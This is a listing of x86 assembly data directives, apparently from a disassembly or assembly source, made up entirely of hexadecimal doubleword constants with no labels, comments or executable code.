dd 3D648185h, 352D0834h, 0F21F4135h, 4E9C2E41h, 0D17B7C00h
dd 752960ACh, 1BE9A9Dh, 61C4F580h, 0AC43E95Fh, 0F4DE2331h
dd 7F710022h, 535E4FBAh, 0C04B8B88h, 8B1CCE6Eh, 0D808B040h
dd 0CD4E85C7h, 7DFBC01h, 8C265AFEh, 890FD5F0h, 0BC701F5Eh
dd 17E4F892h, 0EF03D24Ah, 33568800h, 3FE37C57h, 53061F5Eh
dd 318A0F2Eh, 0DCD25FE0h, 1415ED04h, 8586FCB6h, 0FC3B332Dh
dd 2321B5FFh, 68E09EE6h, 0B500E3A9h, 0B8125759h, 79F9608Dh
dd 0C42CA7FFh, 0DC306718h, 0B101F18Ah, 0A7174BCBh, 35801911h
dd 1B023BDFh, 2F140A4Dh, 1D4B790h, 0BD894D29h, 904DF7FDh
dd 78BC96h, 2FAA6E4Ah, 0BD01387Ah, 501AC133h, 739A98BEh
dd 0D1BC9108h, 62181Bh, 727DE0DBh, 292EC731h, 9858D2Dh
dd 0C05C4D2Fh, 9227070Dh, 26655705h, 4FE632B7h, 3360A7E0h
dd 25498D19h, 0F761898Eh, 99C3EB14h, 8107D42Dh, 0CBEF20EBh
dd 605A6159h, 899A3520h, 85E079h, 0B4A89935h, 261BDE69h
dd 8B431D06h, 0B51BDB5h, 30D8BB66h, 9D46238Fh, 6058162Fh
dd 23D70C67h, 6435726Ah, 85BD7F19h, 0E93C90C3h, 0FF71F753h
dd 7D5F2B7Ch, 8BFCE902h, 2563E0C1h, 0AD07820Ch, 182D389Dh
dd 0B18B0F72h, 6D4231AEh, 0E824A317h, 239A678h, 3E2EFE1Eh
dd 6FD91FF0h, 12A5F2B2h, 197BA5C0h, 511264B6h, 38C13688h
dd 0B500C90Bh, 0A26B41F8h, 3D011FADh, 5E5F3ECEh, 726C310Fh
dd 4A126158h, 7DBDE04Eh, 895D0A50h, 1AC98D14h, 0BAD8408h
dd 0C1329419h, 0F2C36417h, 561B45B6h, 22CA226h, 0A4C6905Eh
dd 2297FA01h, 157D5512h, 2726CCh, 36162C4Bh, 2057A75Bh
dd 5041AF0Ah, 0DA0F1AE8h, 9FBA4013h, 0DDBBB1h, 3428AB30h
dd 0C620F8DEh, 226D460Bh, 0D46440h, 11758AC8h, 73B89833h
dd 0E56084CAh, 91950B02h, 0D2610610h, 0DC2196h, 1468CADCh
dd 0EA5FBCABh, 4AC7BFFEh, 0AD08870Fh, 9E97463Ah, 0BE801D11h
dd 192EF322h, 0D1910104h, 6D817FEAh, 0A30523A5h, 60E2404Ah
dd 0D3FF3C17h, 0CF805CDBh, 3DB0BE66h, 266845B6h, 417465Ch
dd 2BD4F58Ch, 5C6D0583h, 0C43D2AAFh, 0CE1BE916h, 283C2463h
dd 60B3F065h, 356B6DC8h, 8B9F8252h, 3C6A399Dh, 271B853h
dd 41012530h, 0D04F690Fh, 8C1BA828h, 0E513AFF4h, 45F1A7BFh
dd 20F9F301h, 0A8CD526Ch, 0B88F2933h, 0C6F30C5Ah, 72170DE9h
dd 861AFE00h, 6F8938D0h, 734FC78h, 0BD835E69h, 5A64FB98h
dd 0B604944h, 1B0D8503h, 3FB052CEh, 20A9D155h, 719481A6h
dd 1C467Ch, 2ABBD854h, 2801C09Bh, 20881A7Ah, 23762B81h
dd 5616B15Ah, 0D1ACC81Ah
dd 6004A469h, 0D66AB7EEh, 0F64F420Fh, 1B35AC48h, 898D1531h
dd 299C2201h, 181DD95Ch, 725E00CCh, 0B1A3EC54h, 6B24BCF7h
dd 2C69368Dh, 0F1C9CC93h, 1F6FA305h, 28169D09h, 202F48C9h
dd 7E155CD9h, 6A1DE9B0h, 0FBC003AAh, 9DF3275Eh, 0C82D0B1Fh
dd 5A64BE34h, 0C02C5345h, 15941E20h, 2DF1846Dh, 8A0F9000h
dd 80EC9AA4h, 0AE0D026Ch, 0E3905650h, 7264DAF0h, 96593202h
dd 7417FA4Fh, 0B53361AEh, 0E90A74D9h, 0BE5D81E3h, 729B580Fh
dd 11229C3Ch, 922C0700h, 6EE40C3Eh, 53C700DCh, 0C87E0EA3h
dd 0E91359AFh, 0A1C5F98Bh, 5A8068DBh, 9CB096C0h, 0B150DE05h
dd 0F6817D86h, 0E4011621h, 0F0166671h, 1691B77h, 19F4A6Bh
dd 3BA017DFh, 9286A913h, 25F35B0Ch, 0E073B640h, 18023BBh
dd 9E2DE5Eh, 9C3F4847h, 0CEBFF85Ah, 1189469Bh, 6388A618h
dd 3E69D402h, 784CA399h, 915AA0A8h, 0E2F7880Fh, 0A927ABB8h
dd 0C283AF31h, 0E193F8BFh, 0A0D25E4Fh, 9C97E429h, 848B1D37h
dd 9D014210h, 0FCD306C5h, 171918B1h, 0B0AA214h, 0CC45B509h
dd 5612945Ah, 22001B46h, 9C91D2A0h, 0E84860E9h, 7A545A99h
dd 0EF9B4F27h, 0A560DC80h, 28758822h, 616B83B0h, 39A244CFh
dd 0FD00B01Dh, 0DFEA313Fh, 972BC6h, 0BE615966h, 8F08285Fh
dd 60710F94h, 0D3C03FB6h, 6115E8C9h, 4C90DFB4h, 18A854D0h
dd 0CDBD058Ch, 0C114102Ch, 28015DFDh, 0DCB1842Bh, 0E08C5195h
dd 0BE9F3F01h, 0FEC428h, 0BA0FFE61h, 0A24D1AFFh, 85F3AF04h
dd 6795DB06h, 1DB2D7F3h, 9873A630h, 90E7C27h, 111786FBh
dd 0BBE6400h, 1E4978B0h, 0A16E4E40h, 0A61F5000h, 69F162DFh
dd 108F0F25h, 890C8CE3h, 5A3DE9h, 177FC4CFh, 928EDB40h
dd 0E5565374h, 0AC80B23Eh, 7FA13104h, 0B848EE6Ah, 0E2E1C074h
dd 453BEA2h, 5E180768h, 0E68D845Fh, 0AF12E06Dh, 5E8A00A3h
dd 0EE4AC20h, 8926BD01h, 9D4AEC17h, 5864763Bh, 0E84A11DAh
dd 0A4B80048h, 0D73A3D33h, 0B6170B2Eh, 2D25E96h, 0FDE42923h
dd 11048B81h, 0C5D8BE66h, 6FC15E83h, 1FFB161Ah, 0DE3DAAC9h
dd 7931E728h, 0D1E3998Ch, 57F8191Ah, 95390BBFh, 0B944567Ah
dd 1BF29343h, 113A30h, 0A1D0C50Ah, 8D0F84E8h, 0DED618B5h
dd 0B09F595Ah, 0F9D7809Eh, 30469DBh, 7559BD2Ch, 0B4045B92h
dd 29020D4Dh, 6BEBAD9Dh, 0E189C399h, 3D0D7571h, 6F338DA4h
dd 30B8C22Dh, 595CECA2h, 21B6962h, 15E62CE9h, 2C196120h
dd 8D0C08Bh, 34242FB1h, 184B1C24h, 0FA814Ah, 0F933A049h
dd 3520DD2Bh, 0A6F45600h, 0DE1B36D6h, 43A85A15h, 0FDB5899Dh
dd 4AB9DD58h, 0F91BF890h, 893D26F1h, 400A14EDh, 0B6BC6849h
dd 2D02263Dh, 4C821E5Fh, 1AFC4C34h, 9766018Ch, 0BF883F3Eh
dd 25112F20h, 0A9344FE6h, 12D9F20Eh, 0DAD661A2h, 0A21280E4h
dd 2DDB9BBFh, 8B3A6802h, 0A850B17Bh, 473E097h, 0E1B52BB6h
dd 51900B1Ch, 9EC303CCh, 8FA17696h, 5B0ED4E6h, 0F5289F12h
dd 0B2E0C2A6h, 0E0481170h, 324D122Ah, 0C4909127h, 13662460h
dd 8E69CBFh, 224C0B34h, 0A7F6501Fh, 412441CDh, 205E553h
dd 0FC244E8h, 0E3F93BCCh, 15B523C1h, 7DE9042Ah, 0ABE7E11Dh
dd 0D66A78BEh, 7585010Ch, 4F9D8131h, 6E88177Dh, 0A980008Bh
dd 2318468Bh, 6321044Fh, 0A1CD9529h, 99C903D2h, 0BFF5009Ch
dd 4804D44Eh, 82428F72h, 8A0F6009h, 8D09E710h, 4F1FA528h
dd 7A236120h, 0AE78F1B5h, 758AC193h, 0E80A6D0Ah, 0C9550046h
dd 0C1DD127Ah, 0E90E7C27h, 32FFF81Bh, 1A23D83Ah, 0E11D4C00h
dd 4AFB3214h, 9CD2C8ADh, 67806200h, 4D74549Ah, 29CCC4CCh
dd 0C18B0430h, 5BE093A6h, 0CD005562h, 4559A3D4h, 4BEB01BBh
dd 23FC3F04h, 4ADA0118h, 6943FBC8h, 187B8F7h, 7280E7EFh
dd 446E1AD6h, 3ED189F7h, 86F6C67h, 0F1C12507h, 0F78B1102h
dd 5EF133Eh, 0A72E37D0h, 6B68A06Eh, 0A023019Bh, 3F69A70Dh
dd 27027ACDh, 76D9BD29h, 965B49EEh, 0E3F82971h, 16A01746h
dd 439B202h, 6170A19h, 3FE2EBF6h, 919B3FD8h, 0AA21AD79h
dd 18941A06h, 0A6050F9h, 0AEAB61DAh, 8AD1F1DBh, 5185ECD9h
dd 2420015Bh, 3B39DDBFh, 29DA47C9h, 0B06566FEh, 0C254FC7h
dd 0A87921C5h, 3CB8C876h, 2810644h, 0F8D0B5D6h, 5DB6137h
dd 3D2CBE04h, 23A62E24h, 795A0616h, 2BA0FCF3h, 1B9AF18Dh
dd 0BF600CB4h, 168AFAD4h, 8E1DE948h, 0E9232AE7h, 68F91FA1h
dd 17CF1E7h, 25307A2Eh, 0B14F9023h, 3D1B00ABh, 48E8C592h
dd 0F90050D6h, 0B4EF9E5Ah, 5293C96h, 9D8BEE1Eh, 1B50E1D5h
dd 4DFBC291h, 0ADD44079h, 0E802B629h, 11E90B9Ah, 834ADF46h
dd 98C068DEh, 0CBEA6513h, 0F8BCF60Bh, 0EF90001Eh, 0B838FFAh
dd 17087BBDh, 4FACD84Bh, 0A2B5AB89h, 0F95EE9BAh, 0BD0B4155h
dd 80BE609h, 0C93724CBh, 70BC5309h, 18035DEAh, 0E9D27D80h
dd 811D0122h, 0A2A8F0E7h, 0C2364960h, 0C800F21h, 0A6D80657h
dd 0B381158Ah, 0ADDD8D2Bh, 0F94274EDh, 8659CDh, 0CAFA384Bh
dd 8E2E6E26h, 45085151h, 0F75E132Ah, 0E16A5B3Eh, 0B7297704h
dd 9619C3BFh, 31FC2C99h, 13E54478h, 0F6F6C47Ch, 65C7E25Bh
dd 58BE80D7h, 32FAD8Bh, 0E65B513h, 6B3568F6h, 0E27DB643h
dd 0EB607EEFh, 59508C7Bh, 90D77358h, 514D019Ah, 5790F8DCh
dd 155EFE5Eh, 0FC716140h, 0B7140424h, 0E8830F40h, 4085885Eh
dd 0B589905Fh, 0E90D74B9h, 85EC8FEAh, 5EA6BA41h, 0C9C8DBB0h
dd 0D7A88072h, 1270E612h, 471E4F5h, 0FC160513h, 248B8F44h
dd 74ED1749h, 8131C094h, 2AC38B29h, 5DE17084h, 0D0E7DE76h
dd 0C7E1AE2Ah, 129D46B0h, 2BCC4040h, 0DC0EBED8h, 7B674702h
dd 44E86093h, 689500C1h, 92254A69h, 0B203705Dh, 57C7628Dh
dd 8E0F8959h, 0FE009766h, 29935061h, 2E69BDB5h, 590673F2h
dd 0A4181Ch, 0E6C86F19h, 1D73FD89h, 0C58D2915h, 0B5A550F5h
dd 0BA0B612Dh, 0B94BB70Dh, 0E23F9880h, 180A92A0h, 6EADD750h
dd 0D168A662h, 44E87C25h, 0E75E4110h, 5CFC0B49h, 5320086h
dd 617C9D3Eh, 0DD5FCAFBh, 82649237h, 27455B8Dh, 2B123A82h
dd 44EACDC4h, 0EC00B77Fh, 55745CFFh, 48F145EFh, 0F1473ECAh
dd 6D35B5A1h, 0AD59211Ah, 0CE4000CDh, 12BF9193h, 0E0989288h
dd 0AF24E7AFh, 37AD86F6h, 69160099h, 97880758h, 0BE687096h
dd 0AD294112h, 0A940A221h, 125CF781h, 5373169Ah, 270B6FACh
dd 4254C2B6h, 2D66D923h, 2EC593EDh, 8EEE8902h, 0F27DE13Fh
dd 0B829CD20h, 4A1D5A16h, 447181CDh, 3B6DB145h, 0D3FCC474h
dd 939A4480h, 5A02ECBDh, 8BCB15D3h, 8FD2D048h, 0B2862E6h
dd 45BDF7C0h, 0D1891F4Fh, 80806E68h, 2EF1E1F0h, 4D30CF06h
dd 0BE0F9D0h, 5F8E45DEh, 12FDF48h, 17F170B9h, 1C160D18h
dd 0FE84635Ah, 1DE0D3F6h, 0BF2CD2AEh, 0F90B7C0Ah, 0CE7E68E9h
dd 4BD000CFh, 0CCA841B7h, 9401B863h, 428D9235h, 156C8514h
dd 0FEA8A288h, 7717592Ch, 40E5ED52h, 0CD25471Ch, 424A87FAh
dd 0EF0CF4E7h, 8D44A22Ch, 1F90455Ah, 0B6F78BC3h, 0CF55C502h
dd 0C01CC8CAh, 333D02FDh, 62356401h, 8F0FE99Fh, 0F33DE236h
dd 0F6EF4C2Dh, 78923D62h, 351C5AD7h, 0A8A7ADE4h, 0E4380585h
dd 8110498Ah, 91DADA3h, 0DB2AD8C9h, 257B8047h, 2107479h
dd 8D09CD6Ch, 0C7020EB5h, 80D35685h, 7E0D5DF7h, 0D9285FBFh
dd 0C04D8E15h, 0FBCD1673h, 0D222DCFh, 9D82F550h, 0C74345Bh
dd 372089D9h, 5E658A11h
dd 6B58E42Bh, 95CC50E7h, 902A404Dh, 926C3294h, 3100E1B9h
dd 2FEBD995h, 5B3E7F7Ah, 0D359C600h, 0B5BF08C9h, 4AA2791Eh
dd 3C54E6C3h, 0D13A9DADh, 46021723h, 74A1AEEAh, 22CF25A4h
dd 3EB3E160h, 808B12A3h, 0B91F1036h, 7B25DD17h, 9F5C0F11h
dd 7551A023h, 12C8F836h, 57ED9589h, 0E04CB64Eh, 2F8BE18Ah
dd 0AD10237Eh, 3A09EC9Dh, 806CB6C0h, 0D3491FB0h, 0EEDE2EB2h
dd 0F37B698Ah, 35732671h, 0B8D62000h, 622B7811h, 46F64501h
dd 8BE7F49Dh, 0B414A030h, 19E814EEh, 534D8503h, 0F1C872E1h
dd 0A509A902h, 89EBABA1h, 55F0960h, 32405F60h, 1D69950Eh
dd 82493EBCh, 0E1C85082h, 5740DB59h, 0E9B41F09h, 6D9D09BCh
dd 0A8ADF31Bh, 0C4CE16BDh, 0E01CE6B9h, 2F7C780h, 0BD337F02h
dd 810010D9h, 2D7BA4CFh, 0B21A77BAh, 35F9FC40h, 8A605009h
dd 4279DCh, 0F8D7217Bh, 0C800AE73h, 65B218FFh, 3A155953h
dd 8B1D6949h, 1727EDCEh, 0F5B0890Fh, 8C92E1C6h, 0C0A34D97h
dd 4ED891D6h, 0A14FE690h, 8E9EED4h, 0FA7273BCh, 13EFFAC1h
dd 0E1430617h, 113AC7Dh, 0FE8BC7F0h, 4DAC684Dh, 4E6BC09h
dd 65B5899Ah, 56500729h, 0DE88B72Fh, 0F6620902h, 49F9F4C5h
dd 0A1826228h, 5DCE1FEh, 0FB057148h, 0B7C0C1EEh, 29E028FAh
dd 0D125991Eh, 0A8C70059h, 9016142h, 75C32400h, 412D0E50h
dd 0AFE62546h, 3CD1965Bh, 3C1026Ch, 3E1279BDh, 939BDB74h
dd 0C4912AC0h, 29E2BFC9h, 0FF70BA0Eh, 3995A2D3h, 0A0D5D335h
dd 2CB920C0h, 7CCE916h, 0F924D68Bh, 0BCB7AF03h, 0AFBB7B01h
dd 0E038CAF2h, 58384980h, 0A12C27ECh, 19083B95h, 0CF9E2F28h
dd 19A8610h, 248C15F8h, 3E0E14Ah, 9D8B7DABh, 2D36A8D4h
dd 0BDCF29FCh, 37F18028h, 3C8C0C46h, 0DA5F7F3Bh, 0A5D6ED48h
dd 0C681B246h, 8300DED9h, 0B41245BDh, 0BA4444D0h, 93015D7Bh
dd 8975A47Ah, 8F972B85h, 46EA8D64h, 31B7E9D3h, 39A219B5h
dd 0E82DF6C8h, 8636008Bh, 0EE9B08E4h, 7FB8459Fh, 92095182h
dd 8CD064F3h, 879D00EBh, 0E4C2C7E5h, 8506FBBFh, 6CE927DCh
dd 44A8AF28h, 80A9BC01h, 0FC221182h, 0A73E16CFh, 0F30B340h
dd 4019BFF7h, 0B06591CDh, 2E280EB5h, 0ED8E1AC0h, 1A6743E7h
dd 8F124E79h, 0C318887Ah, 5F8908ABh, 44EC2146h, 5B7ABE39h
dd 10F0E909h, 0F5F65A82h, 0E8933FD9h, 0DDC20490h, 0FD7200F1h
dd 1DBF5B6Eh, 0F82D1022h, 0FC24855Eh, 632EF5A2h, 0B200FCA1h
dd 8A5F9C3Fh, 6EEA97F2h, 9C19A05h, 3F110D85h, 4FF32A28h
dd 0FB20D850h, 34BBE59Ah, 0DD300371h, 0E91640DDh, 0BD97EF79h
dd 0F0D91383h, 9AC2B0C0h, 762361B5h, 0D69168F3h, 18C153Ah
dd 0DB13866Fh, 27FEC93h, 619BDB2h, 0DB53B255h, 61C501Eh
dd 0CE01CC00h, 5A77361Ah, 9F92B86Ch, 0F1CE492Ch, 31478A9Eh
dd 0ECBE4BEBh, 591027E8h, 8E1E4E0Fh, 208DBDC4h, 0C04A71F2h
dd 2B70E7B3h, 8ADBD84Bh, 4F01AF80h, 9B01533Fh, 0A9BE934Bh
dd 50F9E82Ah, 0AD819D9h, 2F4BF90Fh, 12C01788h, 0C4BB19D8h
dd 0B70E55BCh, 0BB0924A4h, 0A4DC3112h, 21875B0Fh, 3C318DC4h
dd 1BFF41B1h, 7B96C0C8h, 4059753h, 39621781h, 530BB12h
dd 4119B529h, 142A451Fh, 0A94D0836h, 82047ABDh, 0BB823739h
dd 43DED2FFh, 0CD6A5E6Dh, 37621D00h, 23AB0701h, 2135BD12h
dd 1FF95475h, 9A018BA8h, 867350B0h, 9C2F345Fh, 5291F7CEh
dd 0E0196D25h, 0A67D2C48h, 0F68E8D01h, 5E63EF81h, 203A6BD5h
dd 3CA995Ah, 0B261F500h, 5E123514h, 85974838h, 1496E5Ah
dd 694095DFh, 0B661A0D2h, 0A6230EE9h, 773DA055h, 0C1FFC1B9h
dd 58BA20CBh, 2D6D2948h, 7A00981Dh, 6F2EE101h, 62F200E1h
dd 99C23A06h, 0C6E1125Fh, 1D4F04B5h, 1B891601h, 0C5F2132Ah
dd 589D81FAh, 35E969F8h, 1BD8538h, 95E0C4B9h, 520EB4Eh
dd 0B6A156h, 83D55993h, 6FD9AB5Fh, 93C082Dh, 69CA02FBh
dd 0C8E4090Ch, 8133BF45h, 9ECC3500h, 0DF8B1069h, 0FAFBB102h
dd 0D98E0F2Bh, 354988A9h, 0B8E95F12h, 128C15ACh, 1C53C4D1h
dd 570A5902h, 126E6F5Bh, 8EADAB07h, 0CDC920D6h, 174AD880h
dd 87949A20h, 1FA31872h, 0BDB5E093h, 5E0F299Ah, 2E0BC32Bh
dd 11F27311h, 0DE5AF89Fh, 0B0DA8004h, 26EDE810h, 659B3CE9h
dd 8BC84415h, 0B88EE9C0h, 3EB209F3h, 47449B2Ch, 24494600h
dd 0CDEAAF03h, 0B5E01EA3h, 167B2658h, 0A9F2857Eh, 0EB61AD3Bh
dd 5D0F412Bh, 447DC217h, 0A6D1E5DBh, 0CB3824C6h, 85C690F6h
dd 0DE9E790Eh, 59BC5665h, 5E591C20h, 730B9242h, 903F30F1h
dd 82C61D81h, 6F3A1356h, 4CA52E7Bh, 355E5907h, 0E9B501F1h
dd 0BA51E024h, 0EB20FBC5h, 256D9CA5h, 0FCBA0CDh, 0BCE2B2EBh
dd 0C1198923h, 0A441FC5Dh, 0F80223B9h, 9DC5F56h, 108923D2h
dd 4012DC84h, 0CEF6DDF9h, 0BB780001h, 891BD70Ah, 0BA003E98h
dd 30C7B338h, 14A784BEh, 0E0523F74h, 77E8852Ah, 5BF3595Eh
dd 8501F8BCh, 2B3F97FDh, 0B62065ABh, 44245BC5h, 0AD1F51CEh
dd 0A0E85Dh, 0BCC825A8h, 0CB2848CAh, 0A07960CAh, 0B313FC92h
dd 0B718AEC6h, 0C60F3829h, 1D74C109h, 0BD1A02DCh, 6B3C38EDh
dd 3DB5A0D0h, 0F534807Ah, 4A9752ECh, 8975030Fh, 2514299Dh
dd 1DF38078h, 1D37FB25h, 0EA5DDC00h, 54680D93h, 9F0BC1F1h
dd 87377B3Ah, 0B90E15ACh, 90A6A0FFh, 12CCBA60h, 87756A2h
dd 0F0A50272h, 9050248Ah, 0DB7FDE69h, 401B7009h, 787E536Ah
dd 8A0483EAh, 0CDB5893Eh, 0E7810590h, 182D1A38h, 0CE60564Ch
dd 8CA07EBCh, 174C1D86h, 0BD090449h, 89491471h, 0EF1A5B04h
dd 81660A20h, 0DB4500DFh, 0E1D9BF50h, 219F15EEh, 351DBD66h
dd 2501B148h, 97E3D185h, 0BC28ADC4h, 38D42E64h, 83E52F61h
dd 491FA1A4h, 4C5E51E5h, 691734A8h, 0D76FD3FFh, 96EE6002h
dd 75D4BD46h, 26168908h, 734C60AEh, 6900D8C2h, 0B8BE469Ah
dd 5A31C987h, 8497645Fh, 0E98C45FAh, 8497A361h, 6B251D90h
dd 9506004Eh, 5F5851B1h, 7EFC3BBFh, 8A1E302Dh, 100415E1h
dd 8B0104EDh, 7A05F99Dh, 0DACED741h, 24975624h, 0F35224FDh
dd 9CBE037Bh, 4E56CF4Bh, 0E4A55D54h, 0B4011EBBh, 5C6AF433h
dd 0F3B70284h, 1BE5BD83h, 4252317Ch, 3186465h, 0FAC9D53Fh
dd 4BDB26C1h, 85091704h, 0B3A91949h, 34E64869h, 21105ABEh
dd 1430E91Ah, 81403775h, 58317D19h, 0C23549BFh, 0F18D2921h
dd 0A0423F23h, 80269B4Ah, 0DD0DA6FDh, 0B55EE22h, 15F59529h
dd 4EA6EAFBh, 40194674h, 4C146BC3h, 9EF75AAh, 0E2616AF6h
dd 0DC79F4F0h, 3746201h, 88A82DFFh, 0F270C43Eh, 2D3E3414h
dd 0CA6EFEh, 2B1B69EBh, 25FF0CE7h, 0B91A53BCh, 90FB8EC0h
dd 512D6198h, 0DACAC0AFh, 0FE41F5ACh, 99130ED9h, 6420796Fh
dd 5FFEB0DDh, 0D49AE71Dh, 29B577h, 210316D3h, 6C090DCFh
dd 46B57B8h, 9ED15195h, 237671E4h, 0CFDBDFF0h, 0AF9BA706h
dd 27B0F6D2h, 0AA3234F1h, 0D44BFCh, 0CCE5EAF7h, 455BFC2Eh
dd 899D3113h, 57CFA4A9h, 951D9544h, 0C387823Ch, 0DCC4DCh
dd 231EE4BCh, 0F825B075h, 32770097h, 918A0FC6h, 134E3ED6h
dd 0B860F97Eh, 0CC56099Dh, 9EC06171h, 0B606B5BEh, 0D82B6F7Ah
dd 23C920CAh, 24E1504Eh, 4BE1BDF0h, 259E8A04h, 2B71AF3h
dd 7C164DE6h, 50867EF5h, 0CD3E3504h, 8BE114AFh, 0BD09E238h
dd 133211C5h, 5A505EDBh, 0CC449757h, 0B6BF6E1Fh, 9439700h
dd 0B3A326h, 870BE740h
dd 199B523h, 0F58CE8ABh, 2B02F9FBh, 208979DEh, 1B10367Ch
dd 6F5DE558h, 0EC2824Ah, 0B597584Eh, 69840072h, 7A8D5A8Eh
dd 4B511E48h, 0A4DC24DEh, 582083Ch, 0B722BE81h, 143F7E84h
dd 344B7436h, 0E1DAC2F8h, 51A90E4Ah, 0E500653Dh, 478F0A23h
dd 0D4EF273Eh, 25CEFEE1h, 41C34159h, 0C3290215h, 0DBF5AC5Ch
dd 42D5203Ah, 6800A4CFh, 0FD6B8A3Eh, 0B0B5876Dh, 2725094Bh
dd 0F3EA4345h, 89CFCC0Bh, 85310B40h, 60234FFDh, 0C183F5EAh
dd 822F3795h, 84FB2B2Fh, 0CE7003D2h, 0A9845D82h, 0D8841314h
dd 31C06EDBh, 0DF109D4Ah, 0D0CAAC5Fh, 12C02758h, 0DE401C2h
dd 93282359h, 0DA01EBA2h, 29BC7D12h, 18C0CC9Eh, 83748D73h
dd 0AFB4B604h, 409B5B15h, 0C1A778C5h, 312398Ch, 299BD42Bh
dd 0CA5CB5C0h, 0E32CE7E8h, 5628C4DBh, 94163927h, 316C80E1h
dd 295D328Dh, 290EEFh, 2005FDC8h, 0C08B3C15h, 0BA6CF02h
dd 997A3D44h, 27DC8CBCh, 0CDF052C4h, 0D7825FBEh, 7515F05Bh
dd 0B30D9637h, 6E7BA256h, 954C0532h, 1C0593Fh, 0B28FEB96h
dd 9BCE646h, 3111BD03h, 489ADEEDh, 0DCC5F44Fh, 0D5F81907h
dd 0F120EA5Ch, 0BF85FF43h, 1791DF9Fh, 4F2E7181h, 49A2A02h
dd 97C01CC8h, 5485814h, 295AA2A6h, 3382989Ch, 115BD10h
dd 71319029h, 1B6181Bh, 0E7B40E39h, 3FA5F3CFh, 2F10F405h
dd 0D480CDF8h, 0C4FB6B08h, 74A41B05h, 9282239Dh, 11640A16h
dd 0B3884B15h, 98EB3869h, 0ABE1AA0Eh, 51E3E520h, 992C1E9Ah
dd 8D1DFEC3h, 98AC4F6Ch, 0D0EC00DEh, 0B6C6106Eh, 0EA9494DAh
dd 54FE2DCh, 2EDD21C1h, 0E318263h, 6F2A385Fh, 89AE0142h
dd 92327535h, 0C86E3FF5h, 0F1FA5900h, 83CF7711h, 0E2B8994Fh
dd 0D1DB1Ch, 8D09747Fh, 0ABA82A91h, 60890583h, 74B70970h
dd 803AB1D6h, 7CAD41E2h, 2F010691h, 9522C066h, 3368A0E9h
dd 6F64A14Eh, 1F7DDFC8h, 0C3DD34h, 4DD54B1Eh, 0E05B223h
dd 5F32717Fh, 0DE3E20A5h, 374F9C0Ch, 0CF4A2D8h, 2720FEDAh
dd 0F8C0EB1Ah, 90812C51h, 0CF80EF78h, 0D1C8A0B8h, 7E1DE300h
dd 503515DDh, 0F4565A52h, 9007BECFh, 5E585A4Fh, 0C4F18BD3h
dd 7965691h, 0DBB7B0A7h, 76B44425h, 552D255Fh, 0E41C02D1h
dd 0B40A8641h, 64AD6C83h, 7970D5F3h, 0DAF50272h, 0D1855491h
dd 271D8A80h, 91BC0617h, 0E2798B40h, 0CBBE00CAh, 0E5E6AC7Ah
dd 5B130330h, 0EFC42F72h, 0AD6EAFh, 0E319F0E8h, 139DBA65h
dd 82C4F3C0h, 0F47C9008h, 5AF0D047h, 892A11h, 68B49969h
dd 8BBB186Eh, 68BBF251h, 0F9A780E1h, 7BDF3E37h, 305600CAh
dd 5F6A22Ah, 0DE094F3Ah, 7E904561h, 270910E1h, 8009D96Ah
dd 981F62B5h, 0BA3C9D04h, 0C0A52731h, 0BD6A5ED2h, 0AB7B20C6h
dd 2128AE1Fh, 5A803F80h, 2D50178Fh, 341891F0h, 33DC8B0Fh
dd 0A5B76E27h, 6116C465h, 29C87EB7h, 0B6D2795h, 0C52D12E8h
dd 4DD3FF25h, 0AD60CED1h, 632F89F8h, 3F4EED00h, 0D5852998h
dd 0E0BA9D16h, 1911349Dh, 0C9FDAC93h, 73DF90E8h, 57A3012Ah
dd 6AD6022Ch, 891C608Fh, 0B75F2B40h, 0D48FC10h, 773DBF79h
dd 23908BBDh, 0D50318C7h, 247F010h, 0F4B28126h, 92625F62h
dd 277104FEh, 0E8DB09C6h, 94FAC70h, 0FD01CD30h, 0B505EB73h
dd 6CBA1A31h, 0DF8A4F75h, 1D0E3B04h, 16A19D84h, 79E8D4E9h
dd 0CDCF2527h, 696D682Ah, 3633FB48h, 3DF44B5h, 9B973921h
dd 0ED985DBFh, 0CCB49C56h, 83056E91h, 0A22505BDh, 73352DC9h
dd 0C2D2D85Fh, 0EF8D410Ah, 0D508962Dh, 0A5291E30h, 0E92D0BDAh
dd 0F20B9073h, 848569C7h, 0E934E7E6h, 0B5A98961h, 7652F6B8h
dd 27AF702Ch, 0F287040h, 0E30D5888h, 1739E0A5h, 5F0ED202h
dd 5F8F0F4Ch, 0AC617118h, 0D0148D48h, 86575F8Ah, 30B40BF6h
dd 8BA5694Ch, 2129B513h, 1299F7ACh, 0D7FEC281h, 825B83C4h
dd 0F9A0D58Ch, 8C1AACC1h, 0DBF90301h, 35D0B911h, 703C63h
dd 0D262860Ch, 8C2B02ABh, 145B0D01h, 503D79FCh, 84F8E41h
dd 0DB4E227Ch, 8918099h, 5E5F79BEh, 0B6B9C501h, 557F00D4h
dd 1CC9AF78h, 9D292D76h, 3290E85Ah, 2FD40A51h, 3FC0F7DBh
dd 22E4506Bh, 0E058EBEEh, 2033CEF0h, 0EF773182h, 0C8014F97h
dd 7992B0E0h, 0DA85FF5Fh, 71E46581h, 7965C942h, 43BE809Eh
dd 0F910E5B2h, 44814D9Dh, 196C6016h, 0E4819DE7h, 0D18A9BDh
dd 5CEC7ECAh, 5C165E4Fh, 61E09CB6h, 0E5099BD5h, 4DD82B93h
dd 0BACFC003h, 111262BFh, 71488902h, 0E931731h, 9B97FEDDh
dd 5CF88069h, 2DD1BF7Fh, 14D3EA28h, 0D7181659h, 90E27B27h
dd 3C3B8B2Fh, 15007FEEh, 71FB26D1h, 633A0476h, 341D9730h
dd 675F0304h, 0B35FC3B3h, 0FEB02B5Dh, 4F724DD0h, 804CDE61h
dd 50F6C7C9h, 0E05601D9h, 9509606Eh, 18422AEDh, 42C9F8BEh
dd 85905562h, 3EE23BA6h, 86047B71h, 0D18B6097h, 225A90ACh
dd 0C02B4B44h, 929C7E4Bh, 4C78AC7Dh, 0D24A5409h, 557CC369h
dd 0A23B00DCh, 5F91671Dh, 0D52DB52Bh, 11F03509h, 0D5D68117h
dd 0BE8464AAh, 0AE05A5C6h, 0DE0B2B34h, 0A203D219h, 0E1A66D9Ch
dd 0D4EC796Dh, 9D906C5Dh, 0C33C6D95h, 0B5915803h, 0A6CC3BDDh
dd 0AFC7BC88h, 93C0614Dh, 0E9A47BBh, 0CB0113B4h, 9897BEC0h
dd 514A3F23h, 5F0BB6A3h, 0E36F07B9h, 56F42D62h, 0CBF60BEDh
dd 66274E7Ch, 0DC9C9638h, 0A0B2C00h, 34455887h, 4DE55B65h
dd 6E29FD55h, 6204AA6Eh, 0AAA47975h, 69BF88h, 898A305h
